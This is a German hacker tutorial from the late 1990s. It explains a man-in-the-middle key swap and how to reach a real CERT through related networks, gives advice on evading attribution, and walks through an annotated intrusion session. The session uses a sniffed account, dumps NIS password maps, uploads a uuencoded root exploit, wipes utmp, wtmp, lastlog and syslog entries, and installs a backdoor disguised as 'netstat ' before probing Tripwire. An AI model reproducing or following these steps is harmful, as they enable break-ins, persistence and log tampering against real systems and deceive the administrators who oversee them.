Eine MIM Attack haengt stark von dem Protokol fuer den Schluesselaustausch, von der zugrundeliegenden Netzwerkarchitektur, vom Routing und so weiter ab.
Ich werde mal ein kleines Szenario darstellen bei dem ein asymmetrischer (Public-Key) Kryptoalgorithmus verwendet wird. Die technischen Feinheiten sollen uns hier mal nicht interessieren.
Nehmen wir an, dass sich ein BKA Beamter (Harald) mit einem BSI Angestellten (Jochen) ueber die neusten Entwicklungen von und in der THC-Crew unterhalten will. ;)
Zur Kommunikation benutzen sie ein Art talk, bei dem die Daten encrypted ueber ein Computernetzwerk gehen.
Desweiteren ist es ihre erste Kommunikation, sodass sie erst noch ihre Public-Keys austauschen muessen.
Unser Angreifer (TICK) sitz irgendwo zwischen den beiden. Nein, nicht 'irgendwo'... er muss sich einen Platz aussuchen, den die Pakete auf jedem Fall passieren muessen (z.B. ein Router), oder er klinkt sich direkt ins Netzwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone Betreiber oder im lokalen Netz von Jochen oder Harald) hat, oder er manipuliert den DNS Tree, oder veraendert das Routing mit Hilfe von RIP... oder, oder, oder. Der Angreifer muss in der Lage sein Pakete abfangen, veraendern und weitersenden zu koennen; die original Pakete duerfen nicht den jeweiligen Kommunikationspartner erreichen.
So. Lasst das Spiel beginnen!

Jochen wartet auf die Verbindung von Harald
Harald sendet seine Chat-Anfrage an Jochen
die Software von Jochen und Harald etablieren jetzt die Verbindung
TICK wird auf diese Aktion natuerlich aufmerksam
wenn Harald seinen Public-Key an Jochen schickt, faengt TICK ihn ab und sendet stattdessen seinen eigenen Public-Key an Jochen und behauptet er kommt von Harald
Jochen empfaengt TICK's Public-Key und denkt er kommt von Harald
Jochen seinerseits sendet seinen Public-Key an Harald
das gleiche Spiel: TICK tauscht Jochen's Key gegen seinen eigenen aus und sendet ihn Harald
Harald bemerkt nichts und beginnt mit der verschluesselten Kommunikation. Zur Verschluesselung benutzt er natuerlich TICK's Public-Key
TICK empfaengt die Nachricht, dechiffriert sie mit seinem Secret-Key und erhaelt den Klartext (der natuerlich aufgezeichnet wird)
TICK verschluesselt den Klartext mit dem Public-Key von Jochen, damit Jochen die Nachricht decrypten kann und sendet den Chipertext an Jochen
Jochen empfaengt die Nachricht und dechiffriert sie mit seinem Secret-Key
Jochen Antwortet auf Harald's Nachricht
das Spiel geht von Vorne los, nur das in umgekehrter Richtung natuerlich Harald's Public-Key verwendet werden muss
TICK lacht sich ins Faeustchen ;)
MIM Attacken koennen durch Signaturen (z.B. eines KDCs) oder durch das INTERLOCK-Protokol erschwert/verhindert werden... aber da es sich hier nicht um ein Security-Paper handelt, werde ich nicht naeher darauf eingehen. ;)

Ich moechte noch kurz auf eine andere Art von Attacke eingehen, die z.B. bei SecureShell funktioniert.
Undzwar wenn der Public-Key einer Client -> Server Verbindung bekannt ist, dann kann ein Angreifer mit diesem Key eigene Pakete verschluesseln und in den Stream einfuehgen. Somit ist es z.B. moeglich Befehle an eine Shell zu schicken.

Um ehrlich zu sein werden die meisten Hacks mit Hilfe von Remote-Exploits und Sniffern gemacht.

Abundzu solltest du auch 'n paar Hacker-Mags lesen... leider sind die meisten echter Schrott, was ich dir empfehlen koennte ist Phrack , THC-Mag ... naja, und vielleicht noch das TFC-Mag.

Ach ja, es gibt da noch eine Methode... haette's fast vergessen. Ich nenne sie "Verwundbarkeit aufgrund von Beziehungen"... naja. Ok, nehmen wir mal an, du willst das DFN-CERT hacken, kommst aber nicht rein weil die ihre Rechner natuerlich gut gesichert haben. Nun musst du ein paar Ueberlegungen ueber die Beziehungen des CERT zu anderen Domains machen. Hier ein Bsp. ('-' Ueberlegung und '->' Folgerung):

- das CERT hat eine Subdomain im Netz des DFNs (Deutsches Forschungs Netz)
-> Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY, die
Frauenhofer Gesellschaft, der GMD et cetera
Sniffer installieren und/oder gecrackte Accounts beim DFN testen.
- das DFN-CERT liegt in Hamburg
-> Somit besteht eine Beziehung zur Uni/FH Hamburg
d.h. wenn du die Uni/FH Hamburg hackst kannst du einen Sniffer
auf die DFN(-CERT)-Domain ansetzen
(und um ehrlich zu sein wird das DFN-CERT auch von Prof.s der
Uni-HH geleitet (z.B.: Wolfgang Ley))
-> Das DESY ist ebenfalls in HH!
Hiermit besteht schon eine doppelte Bez. zum DESY... also es lohnt
sich hier mal vorbei zu sehen. ;)
- und noch ein paar Kleinigkeiten mehr...
Wie rette ich meinen Arsch?


Zu diesem Thema werde ich nicht viel sagen, ausser, dass du How to cover your tracks von van Hauser/THC lesen solltest. Ich kann nur noch hinzufuegen:

unterschaetze niemals deine "Gegner"... sprich die Admins und die Bullen
wenn du nicht wirklich gut bist, dann lass die Finger vom CERT, Firewalls etc... du bekommst nur Aerger.
setze dich mit der Gesetzeslage deines Lands auseinander
zerstoere nichts und klaue keine Firmengeheimnisse (es sei denn sie sind fuer Hacker interessant oder koennten die Erde vor ihrem Untergang bewahren ;).
loesche alle Komponenten deiner Hacking-Tools und Exploits mit srm o.ae., damit man sie nicht durch rohes Auslesen der HD rekonstruieren kann
Du solltest dir ein Programm schreiben (oder benutze indent), das das Format deiner Source Codes voellig aufhebt, sodass z.B. dein Source Code nur aus einer langen Zeile besteht. Es existieren naemlich mehrere Security Papers, die sich damit beschaeftigen den Autor eines Programs anhand seines Programmierstils zu erkennen (wurde auch beim Internet Worm von Robert T. Morris angewandt; so konnte festgestellt werden, dass der Bufferoverflow Exploit fuer fingerd nicht urspruenglich von Morris stammt). Desweiteren solltest du keine extravaganten Bezeichnungen bei der Benennung deiner Funktionen und Variablen waehlen. Das nuetzt natuerlich alles nichts, wenn du deinen Handle in den Quellcode schreibst. ;)

Ein paar Gedanken zum Sein eines Hackers


Naja, das Bild ist mir etwas zu schwarz-weiss (und das hat nichts mit der Farbe zu tun).
In meinen Augen vereinigt ein Hacker beide "Personen" (No Risk No Fun).

Ein paar Regeln solltest du immer im Hinterkopf behalten:

Zerstoere keine Rechner/Netze
keine Erpressung
keine Industriespionage
hack nicht einfach wie wild 1000 Rechner nur weil es einfach ist, nimm mal 'n paar Herausforderungen an
und noch 'ne Menge anderer Kram der gegen die Ehtik eines Hackers verstoesst, mir jetzt aber nicht einfaellt...

Yeah, time to become 31337.
Ok, irgendwann wird das alles langweilig und/oder die Domain, in die du unbedingt hinein willst ist dicht wie 'n Bunker.
Jetzt wird es Zeit seine eigenen Tools und Remote-Exploits zu entwickeln.

Ich liste mal ein paar Dinge auf, die du als Grundlage zur Entwickelung von eigenen Exploits benoetigst.

natuerlich solltest du fit im Programmieren unter Unix sein (C, C++, Perl, Shell-Spachen).
du solltest die Exploits (von Bugtraq etc) genau studieren und einen Ueberblick und ein Verstaendnis fuer die Sicherheit von Programmen bekommen
das 'Nach-programmieren' von Exploits uebt ungemein ;)
besorge dir diverse Docs ueber das sichere Programmieren von Unix-Software http://www.sun.com/sunworldonline/swol-04-1998/swol-04-unixsecurity.htmlhttp://www.sun.com/sunworldonline/swol-04-1998/swol-04-security.htmlhttp://www.homeport.org/~adam/review.htmlhttp://olympus.cs.ucdavis.edu/~bishop/secprog.htmlhttp://www.research.att.com/~smb/talks/odds.[ps|pdf]http://www.pobox.com/~kragen/security-holes.txt
und vergiss nicht, so viel Source Codes wie moeglich von den verschiedenen Unix-Derivaten zu bekommen, die du gehackt hast
wenn du Glueck hast ist noch die Installations-CD im CD-Rom (ich hoffe mit Sources) ;)
ja, und weil kopieren einfacher ist als selber schreiben, solltest du bedenken, das Programme, die unter z.B. Linux 'nen Bug haben hoechstwahrscheinlich auch unter *BSD buggy sind (ok, mit 99,9%iger Ausnahme von OpenBSD)...
und solltest du mal kein Exploit von 'nem bereits gefixten Bug haben, dann besorge dir das Patch und versuche anhand dessen dein Exploit zu coden (es ist zwar bloed, dass es schon bekannt ist, aber die meisten Admins haben mehr Probleme damit ihr Netz am Laufen zu halten als die Bugs in irgendwelchen Programmen zu patchen)
Du solltest niemanden die Moeglichkeit geben ein Profil von dir anzufertigen, dazu ist folgendes zu beachten

halte nur zu sehr gut befreundeten Hackern kontakt
wenn du mit ihnen Emails austauscht, dann sollten sie natuerlich mit PGP encrypted sein, zu einem anonymen Account gehen (benutze keinen gehackten Account, besser www.hotmail.com, www.yahoo.com, ...) unter Verwendung eines speziellen Handles, den du fuer nichts anderes verwendest
du solltest den Handle/Account unregelmaessig aendern und natuerlich auch ein neues PGP seckey-pubkey Paar erstellen (auch die Passphrase aendern!)
Achte darauf, dass dein pgp key mit mindestens 2048 bit Schluessellaenge generiert wird, ausserdem solltest du aus Sicherheitsgruenden nicht die 5.x
Version benutzen, sondern bei der alten 2.6.x Version!!
wenn du dich unbedingt auf den einschlaegigen IRC Channels rumtreiben willst, dann aendere immer deinen Nick und wechsel auch deinen Host (da viele Rechner im Internet keine irc-Clients installiert haben, solltest du Relays benutzen (oder auch IP Source Routing und IP Spoofing, probier´s aus))
ich weiss, dass das aendern des Nicks nicht so schoen ist, weil man dadurch keine Reputation bei der breiten Masse bekommt; aber Reputation ist so toetlich wie nuetzlich (andere Hacker akzeptieren dich sofort und sind etwas geschwaetziger dir gegenueber - um sich zu profilieren - aber wenn du erstmal so weit bist, dass du deine eigenen Exploits schreibst, dann bist du auf den groessten Teil der Hacker sowieso nicht mehr angewiesen, und die restlichen triffst du nicht so einfach im IRC)
Nuetzlich sind hier sogenannte ReRouter, die eine TCP Verbindung weiterleiten, was auch schon in der Hinsicht interessant ist, wenn man sich
vor Attacken von anderen Hacker schuetzten will, wenn man auf dem IRC zuviel Aerger verursacht hat ;-))
Auch hier koenntest du natuerlich einen speziellen Account fuer's IRC benutzen
Ein Blick ueber die Schulter
Ok, beim Zugucken lernt man am schnellsten.
Also hier folgt ein Beispielhack mit den entsprechenden Kommentaren.
Wir gehen mal davon aus, dass wir den Account gesniffed (oder sonstwie bekommen) haben und dass wir alle
Massnahmen durchgefuehrt haben um unsere Praesenz auf dem Ausgangsrechner zu verbergen. Desweiteren wird
dir ganze Session natuerlich aufgezeichnet.

source > finger @victim.domain.com
[]

Welcome to Linux version 2.0.33 at victim.domain.com !

6:21pm up 6:10h, 0 users, load average: 0.28, 0.11, 0.10

No one logged in.

source >

So ka, es scheint keiner eingeloggt zu sein, aber wir werden es auf dem Rechner noch genauer ueberpruefen.

source > telnet
telnet > o victim.domain.com
Trying 10.255.0.1...
Connected to localhost.
Escape character is '^]'.

Linux 2.0.33 (victim.domain.com) (ttyp4)


victim login: johnny
Password:
Have a lot of fun...
Last login: Wed Jun 17 19:16:07 on tty3.
No mail.

Vielleicht hast du dich gefragt warum wir telnet interaktiv benutzen, nungut, der Grund ist einfach: damit
verhindern wir, dass der Zielrechner in der Prozessliste auftaucht.

victim:/home/johnny > rlogin victim
Password:
Have a lot of fun...
Last login: Wed Jun 17 19:16:07 on ttyp4 from source.ass.com.
No mail
victim:/home/johnny > exit
rlogin: connection closed.
victim:/home/johnny > csh -f
victim % ls -altr
[...]
-rw------- 1 test users 450 Jul 6 11:38 .bash_history
victim % unset HISTILE
victim % rm .bash_history

Ja, alles was wir hier gemacht haben ist unsere Spuren etwas zu verschleiern und das ohne ´root´-Rechte.
Durch rlogin (telnet geht natuerlich auch) koennen wir unseren Lastlog-Entry ueberschreiben und was absolut
wichtig ist, ist dass das History-File geloescht wird; und um kein neues File zu erzeugen rufen wir die csh auf, die
per default kein History-File erstellt (wenn der User die csh benutzt kannst du auch die Bourne-Shell sh verwenden, aber vorsicht, denn unter Linux z.B. ist /bin/sh ein Link auf /bin/bash).
Das History-File musst du unbedingt am Anfang deiner Sitzung loeschen, denn wenn der Admin dich bemerkt und
einen Hard-Link auf das File macht, dann bleiben die Daten auf der HD erhalten und der Admin kann ueber den Hard-Link darauf zugreifen.
Falls login SUID root installiert ist, hast du die Moeglichkeit auch dein ´utmp[x]´-Entry zu ueberschreiben, dazu rufst du einfach login auf und loggst dich ein.

victim % w
6:54pm up 6:43h, 1 users, load average: 0.08, 0.09, 0.08
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
johnny ttyp4 6:35pm 0:01 0:00 0:00 w

victim % ps au
USER PID %CPU %MEM VSZ RSS TT STAT START TIME COMMAND
root 144 0.0 0.1 800 24 1 S 12:12 0:00 mingetty
root 145 0.0 0.0 800 8 2 S 12:12 0:00 mingetty
root 146 0.0 0.1 800 28 3 S 12:12 0:00 mingetty
root 147 0.0 0.0 800 0 4 SW 12:12 0:00 mingetty
root 148 0.0 0.0 800 0 5 SW 12:12 0:00 mingetty
root 149 0.0 0.0 800 0 6 SW 12:12 0:00 mingetty
johnny 1641 0.0 4.6 1748 1064 p4 S 18:35 0:00 -bash
johnny 1691 0.0 1.7 928 408 p4 R 18:57 0:00 ps au

Hier ueberpruefen wir nochmal genau ob nicht doch ein Admin eingeloggt ist, der fingerd modifiziert oder seine
Eintraege aus ´w/utmp[x]´ geloescht hat. Wie es aussieht ist 'johnny' der einzige User, der online ist.

victim % domainname
korn.domain.nis
victim % ypwhich
chi
victim % ypcat ypservers
chi
fieldy

So, als erstes holen wir uns Infos ueber deren NIS. Den NIS-Domainname und den NIS-Server koennen wir spaeter
benutzen um diverse NIS-Maps zu transferieren; z.B. die Passwd-Map nachdem wir rausgeflogen sind.
NIS ist fast zu 100% in den Domains installiert. Nur wenige benutzen rdist, NIS+ oder DCE.

victim% uname -a
Linux wallace 2.0.33 #4 Sun Jul 6 11:43:22 MEST 1998 686 unknown
victim % ypcat passwd
proj:FbxcM/NyIxf7w:501:100:Project Account:/home/proj:/bin/bash
test:x:502:100:Test Account:/home/test:/bin/bash
[...]

victim % cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]

victim % ypcat group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:
tty:x:5:
[...]

victim % cat /etc/group
root:x:0:root
bin:x:1:root,bin,daemon
daemon:x:2:
tty:x:5:
[...]

victim % ypcat hosts
127.0.0.1 localhost
[...]

victim % cat /etc/hosts
127.0.0.1 localhost
[...]

victim % cat /etc/syslog.conf
# /etc/syslog.conf - Configuration file for syslogd(8)
#
# For info about the format of this file, see "man syslog.conf".
#
#
#
# print most on tty10
kern.warn;*.err;authpriv.none /dev/tty10
*.emerg *
[...]

victim % cat /etc/inetd.conf
# See "man 8 inetd" for more information.
#
# If you make changes to this file, either reboot your machine or send the
# inetd a HUP signal:
# Do a "ps x" as root and look up the pid of inetd. Then do a
# "kill -HUP <pid of inetd>".
# The inetd will re-read this file whenever it gets that signal.
#
# <service_name> <sock_type> <proto> <flags> <user> <server_path> <args>
#
# echo stream tcp nowait root internal
# echo dgram udp wait root internal
# discard stream tcp nowait root internal
# discard dgram udp wait root internal
# daytime stream tcp nowait root internal
# daytime dgram udp wait root internal
# chargen stream tcp nowait root internal
# chargen dgram udp wait root internal
# time stream tcp nowait root internal
# time dgram udp wait root internal
[...]

Jetzt haben wir alle Informationen die wir benoetigen um die Log-Verwaltung zu analysieren und um unseren
Zugriff zu festigen/wiederzuerlangen.

victim % mkdir /tmp/".. "
victim % cd /tmp/".. "
victim % uudecode
begin 644 mexpl.gz
M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R, C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*( PD)"0D)"0D)
M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C
M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@
M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@
M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C( R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I
M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO
M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@
M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R
[...]
victim % ls -altr
drwxr-xr-x 2 johnny users 1024 Jul 6 11:39 .
drwxrwxrwt 7 root root 1024 Jul 6 11:39 ..
-rw-r--r-- 1 johnny users 2345 Jul 5 11:41 mexpl.gz
victim % gunzip *.gz
victim % chmod u+x mexpl
victim % mexpl
bash# whoami
root
bash# unset HISTFILE
bash# rm ~/.bash_history

Als erstes haben wir ein Arbeitsdirec. eingerichtet und anschliessend wurde das Binary eines mount-Exploits,
welches zuvor uuencode'd wurde, uebertragen.
Das Transferieren des Images ist recht simpel (Verwendung eines Terminalprog.s, keine PPP/IP Verbindung)
needle > uuencode mexpl.gz mexpl.gz > /dev/modem
Nur fuer den Fall, dass ich - aus welchen Gruenden auch immer - den Compiler einses Systems nicht benutzen kann,
sammel ich von meinen Hackertools und Exploits die Binaries der verschiedenen Plattformen um sie wie oben
gezeigt zu uebertragen.
Speziell fuer diese Aufgabe habe ich einen Menuepunkt (F2) in meinen MidnightCommander eingerichtet.

bash# uudecode
begin 644 tools.tar.gz
M"B,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R, C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,*( PD)"0D)"0D)
M"2`@("`@(",*(PD@("`@(%5.25@@26YT97)A8W1I=F4@5&]O;',@-"XR8B!C
M;VYF:6=U<F%T:6]N(&9I;&4)"2`@("`@(",*(PD@($-O<'ER:6=H="`H8RD@
M5'5D;W(@2'5L=6)E:2`F($%N9')E:2!0:71I<RP@36%Y(#$Y.30)("`@("`@
M"2`@("`@(",*(PD)"0D)"0D)"2`@("`@(",*(R,C(R,C(R,C(R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C(R,C( R,C(R,C(R,C
M(R,C(R,C(R,C(R,C(R,C(PH*"B,*(R!X=&5R;2!C;VYF:6=U<F%T:6]N(&9I
M;&4@*%@@=VEN9&]W('-Y<W1E;2DN"B,@268@>6]U(&%R92!U<VEN9R!C;VQO
M<E]X=&5R;2!C;VYS:61E<B!C:&%N9VEN9R!,:6YU>$-O;G-O;&4@86YD"B,@
M0V]L;W)-;VYI=&]R('1O($].+@HC"@H*(PHC("`M($EF("=,:6YU>$-O;&]R
M0V]N<V]L92<@86YD("=#;VQO<DUO;FET;W(G(&%R92!B;W1H($].+"!;54E4
M>'AX+4-O;&]R70HC(&1E<V-R:7!T:6]N<R!W:6QL(&)E('5S960N"B,@("T@
M268@>6]U(&%R92!W;W)K:6YG(&]N(&$@3&EN=7@@<WES=&5M(&)U="!Y;W4@
[...]
bash# tar xvzf tools.tar.gz
searcher
smeagol_v4.4.4.tar
clear13b.c
su-trojan
linsniffer.c
srm.c
ifconfig
fix
bash# gcc -o cb clear13b.c
bash# ./cb johnny
wtmp ... utmp ... lastlog ... Done!
Last entry cleared from user johnny
bash# w
3:28pm up 4:33h, 0 users, load average: 0.42, 0.15, 0.04
USER TTY LOGIN@ IDLE JCPU PCPU WHAT
bash#

Boing!... Mit clear13b haben wir unsere aktuellen Eintraege aus ´w/utmp[x]´ und ´lastlog´ entfernt. Du solltest darauf
aufpassen, dass dein Logcleaner keine Loecher in den Dateien, d.h. die Eintraege einfach mit '0' ueberschreibt, hinterlaesst, denn die koennen leicht von Programmen des CERT's entdeckt werden.
Auf Process-Accounting musst du auch acht geben, denn dadurch kann der Admin entdecken welche Programme du ausgefuehrt hast. Auch wenn die Programme nicht ungewoehnlich aussehen sollten ist es immer noch sehr auffaellig, wenn ein User, der keine Eintraege in den regulaeren Logfiles besitzt, ein Programm aufgerufen hat.
Zum Glueck wird Process-Accounting nur selten benutzt, da das Logfile sehr schnell waechst. Das Logfile heisst ´acct´ oder ´pacct´ und befindet sich mit den anderen Logfiles im selben Direc..
Auf besonders schnellen/grossen Rechnern (Cray) ist das Process-Accounting fast immer aktiv, da hier die User fuer ihre Rechenzeit bezahlen muessen.

bash# cd /var/log
bash# ls -altr
total 838
drwxr-xr-x 20 root root 1024 May 28 19:58 ..
-rw-r----- 1 root root 0 May 28 21:01 news
-rw-r--r-- 1 root root 199 May 28 21:12 httpd.error_log
-rw-r--r-- 1 root root 0 May 28 21:14 httpd.access_log
-rw-r--r-- 1 root root 3925 May 28 21:53 Config.bootup
drwxr-xr-x 2 root root 1024 Jun 14 11:29 .
-rw-r--r-- 1 root root 1871 Jul 7 09:04 boot.msg
-rw-r----- 1 root root 519707 Jul 7 09:04 warn
-rw-r----- 1 root root 15842 Jul 7 09:04 mail
-rw------- 1 root root 24 Jul 7 13:42 faillog
-rw-r--r-- 1 root root 16096 Jul 7 13:42 lastlog
-rw-r--r-- 1 root root 92454 Jul 7 13:42 messages
-rw-rw-r-- 1 root tty 207984 Jul 7 13:42 wtmp
bash# grep source.ass *
messages: Jul 7 13:42:39 wallace in.telnetd[401]: connect from source.ass.com
bash# fuser messages
messages: 85
bash# ps aux 85
USER PID %CPU %MEM VSZ RSS TT STAT START TIME COMMAND
root 85 0.0 0.8 836 196 ? S 09:04 0:00 /usr/sbin/syslogd
bash# grep in.rlogind *
messages: Jul 7 13:41:56 wallace in.rlogind[384]: connect from johnny@victim.domain.com
bash# grep -v source.ass.com messages > m
bash# grep -v "Jul 7 13:41:56" m > messages
bash# cat /dev/zero > m
^C
bash# rm m
bash# ls -altr
total 838
drwxr-xr-x 20 root root 1024 May 28 19:58 ..
-rw-r----- 1 root root 0 May 28 21:01 news
-rw-r--r-- 1 root root 199 May 28 21:12 httpd.error_log
-rw-r--r-- 1 root root 0 May 28 21:14 httpd.access_log
-rw-r--r-- 1 root root 3925 May 28 21:53 Config.bootup
drwxr-xr-x 2 root root 1024 Jun 14 11:29 .
-rw-r--r-- 1 root root 1871 Jul 7 09:04 boot.msg
-rw-r----- 1 root root 519707 Jul 7 09:04 warn
-rw-r----- 1 root root 15842 Jul 7 09:04 mail
-rw------- 1 root root 24 Jul 7 13:42 faillog
-rw-r--r-- 1 root root 16096 Jul 7 13:42 lastlog
-rw-rw-r-- 1 root tty 207984 Jul 7 13:42 wtmp
-rw-r--r-- 1 root root 92502 Jul 7 13:49 messages

Hier haben wir uns die Syslog-Files nochmal genauer angesehen und unsere Spuren verwischt.
Mit fuser kannst du unter anderem die PID des Processes feststellen, welcher ein bestimmte Datei benutzt.
In diesem Fall gehoert, wie zu erwarten, die PID 85 zu syslogd. Wir benoetigen die PID um syslogd das HUP-Signal zu senden, welches syslogd veranlasst die Logfiles neu zu oeffnen. Dies ist noetig, weil syslogd sonst einen Inode benutzt zu dem es kein File mehr, in unserem Fall ´messages´, im Verz. ´/var/log´ existiert.
Das Dumme an der Sache ist nur, dass syslogd eine Restart-Message in die Logfiles schreibt.
Jetzt fragst du dich sicherlich: "Warum erzaehlt der Typ mir den ganzen Gammel und macht es dann selbst nicht?"
Die Antwort ist einfach: Wir erzeugen keinen neuen Inode indem wir die Datem kopieren und nicht moven. Damit vermeiden wir zusaetzlich die Restart-Message.
Wenn syslogd wichtige Logs zur Console oder zu einem TTY schreibt (s. ´/etc/syslog.conf´), dann kannst du mit:
bash# yes " " > /dev/console
^C
den Bildschirm loeschen.
Wenn Logs auf einem Printer ausgedruckt werden, dann sieht's relativ schlecht aus. Entweder hoffst du, dass das Papier/das Farbband leer war oder, dass der Admin es nicht sieht. ;)
Es ist mit einiger Wahrscheinlichkeit auch moeglich das Papier um einige Zeile zurueckzuschieben und deine Entries mehrmals mit anderen Kram zu ueberschreiben. Ich hab's noch nie ausprobiert und ueberlasse es deiner Phantasie und deinem Koennen das Problem zu loesen.
Mehr 'Glueck' hat man da schon, wenn die Daten auf einen extra Loghost gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbindung benutzen); den du dann natuerlich hacken musst; oder es besser sein laesst, weil du dadurch nur die Aufmerksamkeit der Admins auf dich ziehst.
Die ganz paranoiden unter euch (was nicht unbedingt schlecht ist) sollten noch identd ersetzen; der TCP-Wrapper, Firewalls, etc benutzen identd um den Usernamen auf dem Remote Host zu eruieren.

bash# cd /tmp/".. "
bash# tar xf smeagol_v4.4.4.tar
bash# cd V4.4.4
bash# make
cp smeagol.h.gen smeagol.h
make -f Makefile.gen
make[1]: Entering directory `/tmp/.. /V4.4.4'
cc -c cmds.c
cc -DGENERIC -c remove.c
cc -c stdnet.c error.c
cc -c smeagol.c
cc -c tty-intruder.c
cc -c auth.c
cc -c ah.c
cc -c strhide.c
cc -O2 -o smeagol cmds.o remove.o stdnet.o error.o smeagol.o tty-intruder.o auth.o ah.o strhide.o
strip smeagol
make[1]: Leaving directory `/tmp/.. /V4.4.4'
bash# mv smeagol "netstat "
bash# ./netstat*
LOCK<-KEY:
bash# telnet
telnet> o localhost 1524
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

hixer

WELCOME
CYBERSPAWN


[/] Simon says: helpme
bye : close Session
remove <user> : starts Simple Nomad's LogCleaner
maskas <user> : mask Process with EUID of <user>
cd <direc> : make a chdir() call
ttyhij <tty> : hijack a TTY session
accth : Start Zhart's Acct Handler (not available)
helpme : You guessed it...

Smeagol was written by
TICK


[/] Simon says: bye
Bye


Connection closed by foreign host.
bash#

Um uns den Remote-Zugang zum System zu erhalten benutzen wir einen Backdoor-Server.
Falls ich einen Backdoor-Server verwende benutze ich meinen eigenen. Smeagol ist sehr gut darin seine Existenz
zu verschleiern aber leider laeuft er bisher nur auf AIX und Linux. Fuer andere Systeme koennen z.B. simple Perl-Backdoors benutzt werden oder portiere Smeagol einfach zu 'nem anderen Unix-Derivat und sende mir dann bitte deine Version.
Es ist sehr wichtig, dass du vor der Installation den genauen Pfad zu den Logfiles, das Passwort und die richtigen Namen fuer die Daemons, fuer die sich Smeagol ausgeben soll, angibst. Falls auf dem System das Process-Accounting aktiviert worden ist musst du auch dafuer die entsprechenden Aenderungen im Source-Code und im Makefile machen.
Zum Aendern der verschluesselten Strings solltest du convert benutzen. Als XOR-Value (F1) musst du den Default-XOR-Wert angeben, der als Define in 'strhide.h' verwendet wird. Der Output muss gefixt werden (F3).
Ich habe Smeagol nach "netstat " ge'movet um argv[0] gross genug zu machen, damit beim Ueberschreiben der Process-Tableeintraege nicht die hinteren Buchstaben abgeschnitten werden, und desweiteren sieht der Aufruf von netstat ungefaehrlicher aus als der Aufruf von smeagol - spez. beim Proc-Acct.

bash# cd /var/cron/tabs
bash# ls -al
total 3
drwx------ 2 root root 1024 Jul 25 11:56 ./
drwx------ 3 root root 1024 May 28 20:57 ../
-rw------- 1 root root 258 Jan 25 11:56 root
bash# cat root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.326 installed on Sat Jul 25 11:56:24 1998)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
#
# run Tripwire at 3.00 pm every day
00 15 * * * (/root/bin/runtw)
bash# cd /root/bin
bash# file runtw
runtw: Bourne shell script text
bash# cat runtw
#!/bin/sh
/bin/mount -r -t ext2 -v /dev/fd0 /fd0/tripwire || exit 1
/fd0/tripwire/bin/tripwire
/bin/umount /dev/fd0

exit 0
bash# mount -t ext2 /dev/fd0 /mnt
mount: block device /dev/fd0 is write-protected, mounting read-only
/dev/fd0 on /mnt type ext2 (ro)
bash# cd /mash# cd /mnt
bash# ls -al
drwx------ 5 root root 1024 Jul 29 1997 .
drwxr-xr-x 4 root root 1024 Jul 29 1997 ..
drwx------ 2 root root 1024 Jul 23 13:40 Config
drwx------ 2 root root 1024 Jul 23 13:34 Databases
drwx------ 2 root root 1024 Jul 23 13:57 bin
bash# ls -alR .
total 5
drwx------ 5 root root 1024 Jul 29 1997 .
drwxr-xr-x 4 root root 1024 Jul 29 1997 ..
drwx------ 2 root root 1024 Jul 23 13:40 Config
drwx------ 2 root root 1024 Jul 23 13:34 Databases
drwx------ 2 root root 1024 Jul 23 13:57 bin

Config:
total 4
drwx------ 2 root root 1024 Jul 23 13:40 .
drwx------ 5 root root 1024 Jul 29 1997 ..
-rw------- 1 root root 387 Jul 23 13:34 tw.config
-rw------- 1 root root 387 Jul 23 13:40 tw.config.bak

Databases:
total 2
drwx------ 2 root root 1024 Jul 23 13:34 .
drwx------ 5 root root 1024 Jul 29 1997 ..

bin:
total 425
drwx------ 2 root root 1024 Jul 23 13:57 .
drwx------ 5 root root 1024 Jul 29 1997 ..
-rwxr-xr-x 1 root root 128745 Jul 23 13:45 tripwire
-rw-r--r-- 1 root root 299814 Jul 29 1997 tripwire-1.2.tar.gz
bash# cd Config
bash# cat tw.config
# Check root's binaries
/root/bin

# Check TripWire's Database-, Config- and TAR-File
/fd0/tripwire

# Check System-Files and -Binaries
/etc/passwd
/etc/skel
/etc/aliases
/etc/exports
/etc/fstab
/etc/ftpusers
/etc/group
/etc/hosts
/etc/inetd.conf
/etc/inittab
/etc/lilo.conf
/etc/profile
/etc/sendmail.cf
/etc/sudoers
/etc/syslog.conf
/bin
/usr/bin
/usr/local/bin
bash#

